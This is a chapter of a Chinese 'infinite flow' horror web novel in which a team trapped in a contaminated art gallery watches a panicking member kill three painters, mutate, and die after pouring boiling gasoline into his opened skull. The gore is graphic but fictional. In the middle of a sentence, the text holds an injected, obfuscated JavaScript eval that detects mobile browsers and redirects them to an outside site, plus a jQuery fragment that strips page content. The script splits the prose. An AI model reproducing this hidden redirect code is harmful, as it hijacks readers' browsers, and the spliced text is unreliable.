20. 古纳格画廊(九)

作品:《避风港[无限流]

    这个惊悚的猜测瞬间让他们僵在原地,连呼吸都屏住了。


    小黑环顾四周,憋了半天,手指在脖子上划过,暗示道,要不……直接动手解决他们?


    吉迪恩和白砾几乎同时摇头。


    白砾扫过画室里那八个弓着背的身影,他们必须找到其中可能存在的污染源才能动手。


    他们现在的状态太糟糕了,一旦错杀畸变物,污染度就会直线上升。


    现在还没有排除地下展厅的自画像是污染源,如果霉菌半夜爬上来,他们再难以应付之后的局面。


    今夜,只能等到今夜之后。


    他们只能煎熬的等待着,等着地下展厅的霉菌是否涌上来,只有熬过今晚才能完全确定污染源在这些画家之中。


    几人在画架前坐立难安,指尖捏着画笔,眼神却总忍不住瞟向画家与木门。


    白砾干脆毫无章法、毫无逻辑地在巨幅画布上涂抹着颜料,她很清楚这样的东西根本称不上作品,更不可能让阿诺德满意。


    可她没有停下,她必须顺着污染域的规则走下去。


    当画笔触碰到画布的那一刻,之前在胸腔里灼烧的创作欲竟真的褪去了一点。


    几人勉强把画布填得满满当当,却没一个人多看自己的作品一眼。


    尽管每个人都在尽量避免情绪出现大的起伏,可这种被动等待污染源找上门的焦灼与紧张,根本无法靠意志力彻底驱散。


    白砾的指尖控制不住地微微发颤,身体里的污染指数正在悄悄攀升,那种熟悉的大脑的瘙痒感,正一点点压过刻意维持的平静。


    ……


    窗外透出一点灰蒙蒙的鱼肚白,工作室里的台灯还亮着,白砾几人终于从一整晚的紧绷里稍稍松了口气,每个人眼底泛着疲惫。


    经过一个晚上,他们每个人的污染度不可避免地都上升了。


    其中黄毛的情绪波动最剧烈,尽管吉迪恩和白砾一直在试图宽慰他,可他还是不可避免得陷入惶恐,污染度还是在凌晨时分,快速增长。


    小黑和吉迪恩见状,立刻上前死死按住他乱挥的四肢,他们想尽量拖延黄毛使用抑染剂的时机。


    可当时黄毛污染度手环上的数字跳得越来越快,眼看着就要冲破50%的临界线,吉迪恩不得已,只能将黄毛剩下的抑染剂的剂量全部用完。


    天刚透亮。


    敬业又勤劳的阿诺德经理推开了大型画作工作室的大门。


    今天是提交作品的最后期限,他蜡黄的脸上扯出一抹刻薄又愉悦的笑,目光扫过角落里一脸疲惫的几人,“蠢货们,昨夜总算画出点东西了?”


    他径直走向神情最惶惶不安的黄毛,后者正身体死死抵在巨幅画布前,可这徒劳的遮挡在阿诺德面前不堪一击。


    当看清画布上杂乱无章、毫无逻辑的色块时,阿诺德的笑容瞬间凝固,他一把抄起桌边的版画刻刀,在画布上疯狂撕扯:“你这是在糟蹋画布!简直是垃圾!”


    不过几秒,原本就潦草的画布就被割成挂满破洞的碎布,散落在地上。


    阿诺德喘着粗气,眼神阴鸷地盯着黄毛:“蠢货,你的死期快到了!”


    黄毛僵在原地,脸色从惨白转为扭曲,他的脸上闪过恐惧、愤怒与荒诞感的情绪交织。


    他觉得大脑深处传来一阵钻心的痒,那是令他恐惧的痒,瘙痒。


    “出不去了……”他咬着牙,双目微湿,横竖都是一死,不如拼了!


    下一秒,在吉迪恩和白砾都没反应过来时,黄毛猛地掏出腰间的电磁脉冲枪,对准画室中央的画家扣下了扳机。


    “砰砰砰!”的枪声在寂静的工作室里炸开,三个个背对着的画家应声倒地,暗红色的血液染红了身下的地面。


    几乎是击杀画家的瞬间,黄毛的身体就开始剧烈抽搐,这是击杀畸变物的反噬。


    他的污染度瞬间飙升,他的身体重重砸在地上,整个人蜷缩着抱住头,喉咙里发出痛苦的嘶吼。


    “痒!好痒!”他的指甲狠狠抠进头皮,鲜血混着碎发从指缝渗出来,硬生生撕下几块带毛囊的头皮。


    白砾被这突如其来的变故惊得心脏狂跳,下意识从压缩包里摸出抑染剂,却被吉迪恩一把按住,他的声音哑得像砂纸摩擦。


    “他已经是畸变物了。”


    黄毛猛地抬起头,嘴巴张到几乎撕裂下颌,嗓子里挤出浑浊的嘶吼:“开颅!快给我开颅!我要看看我的脑子!我要画下来,画我的脑子!”


    阿诺德的脸色扭曲得比黄毛更甚,没有助理在,这种脏活要他自己动手。


    更让他暴怒的是,黄毛杀的是画廊好不容易筛选出的三个珍贵的资深画家!


    他阴沉着脸,转身从置物架底层拖出一把生锈的电锯,“嗡”的一声响起尖锐的轰鸣声。


    白砾不忍目睹曾经的队友这般下场,她将目光移开,只听见一阵巨大的抓耳挠腮的声音。


    她刻意不去看腕上的污染手环,看到上面的污染度数值肯定会更影响心态,但数值估计已经飞速上升了。


    她听到这刺耳的声音,应该感到惊悚与恶心,但是她现在心下一片火热!


    那股躁动从大脑深处炸开,她甚至能清晰感觉到,自己的脑组织像活过来一般,在颅骨里翻滚、冲撞,试图撕扯着包裹它的脑膜,切割着禁锢它的颅骨壁,像是要冲破这层坚硬的“牢笼”,彻底暴露在空气里。


    当电锯声终于停下,阿诺德扔掉沾着血污的工具时,所有沉浸式创作的画家们竟齐齐停下了动作。


    他们颅顶的百叶“咔嗒”一声全部打开,无眼皮的眼球齐刷刷转向黄毛,抬起畸形的手用力鼓掌,头顶的嫩红色正在愉悦的跳动,像是在迎接一位跨时代的艺术大师!


    这是为了艺术献身!


    “黄毛”刚被打开颅顶,就挣扎着从地上爬起来,嘶哑地冲阿诺德喊:“汽油!给我汽油!”


    阿诺德虽满脸不耐,却还是阴沉着脸端来一盆烧得咕嘟冒泡的汽油,盆沿泛着热气,空气里瞬间飘开刺鼻的燃油味。


    “黄毛”一勺接一勺地往自己敞开的、肉粉色的脑腔里浇。


    “滋滋啦啦!”那声音像烧红的铁条扎进猪油里,滚烫的汽油接触脑组织的瞬间,腾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487482|185418||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起白烟。


    “叽叽叽!”


    这不是黄毛嘴里发出的声音,而是从他敞开的脑腔里传出来,是他的大脑在叫!


    白砾只觉得头皮发麻,她竟然诡异地听懂了那声音里的狂喜:好舒服!好舒服!!!


    “黄毛”非但没痛呼,反而仰起头,嘴角咧开一个扭曲的笑,前所未有的灵感像潮水般冲进他的意识。


    他一把抓过画笔,在巨幅画布上疯狂涂抹,颜料飞溅,像是要把灵魂都刮进画布。


    他一勺一勺的舀着汽油,滚烫的液体顺着脸颊流下,把皮肤烫得滋滋作响,很快就溃烂成一片焦黑的脓水,可他像完全失去了痛觉,只顾着往脑腔里浇灌。


    空气中的焦煳味越来越浓,那是生肉被高温炙烤的味道。


    “黄毛”猛地停下手,画布上布满了扭曲的笔触,像是绝境之人在疯狂地挣扎、蠕动。


    他虚弱地笑了笑,画笔从无力的手指间滑落。


    阿诺德在完成的瞬间立刻冲了过来,脸因激动而涨红,他的脸几乎快要贴在画布上,痴迷地抚摸着颜料未干的表面,嘴里喃喃:“这是用痛苦浇灌的艺术!是极致的疯狂!太精彩了!”


    “黄毛”的眼里瞬间绽放出光彩,下一秒,他的身体重重向后摔去。


    旁边的画家们赶忙用身体死死挡住画布,生怕这些溅射的东西玷污了自己创作的旷世之作。


    “黄毛”在地上剧烈抽搐,双眼死死盯着自己的画,手指艰难地向前伸,想去触碰那片色彩。鲜血不断从他嘴里喷涌而出,混着细碎的脏器碎片。


    他敞开的脑腔还在艰难地起伏,细细的声音喊道,“我的,这是我的画,署名!署我的名!我的名字!!”


    阿诺德站在一旁,脸上挂着欣赏的微笑,仿佛在观看一场神圣的献祭。


    “太虔诚了,”他感叹道,“对艺术有着至高无上的虔诚!”


    “署名!我决定了,这幅作品的创作者,就叫‘虔诚’!”


    “黄毛”的身体早已没了动静,四肢僵硬地摊在地上,唯有那暴露在外的大脑还在微微蠕动。


    它艰难地鼓胀了一下,挤出气若游丝的呢喃,却带着执拗的哭腔:“不……要我的名字……我不叫虔诚,这是我的作品……”


    这是它最后的挣扎,话音刚落,那微弱的蠕动骤然停止,再无半点生气。


    “还给他,那是他的作品,你这是剽窃!”白砾自己也不知是何缘由,大声的说道。


    吉迪恩无视了白砾,他穿着擦得油亮的皮鞋,一脚碾过了“黄毛”的手臂,像是踩过了一堆毫无价值的垃圾。


    究竟是谁的署名?在污染域没有丝毫意义,但没关系,白砾暗自发誓,她一定会亲手毁了这扭曲的画廊。


    阿诺德经理蜡黄的脸上满是毫不掩饰的鄙夷,他嗤笑一声,“蠢货们,你们的死期将至!”


    随着天色彻底放亮,四人的污染度以肉眼可见的速度疯涨,腕上的手环不断发出微弱的警示嗡鸣。


    吉迪恩和黑皮青年也用完了自己仅剩的药剂,白砾留下了瓶底那薄薄一层药液,再无多余。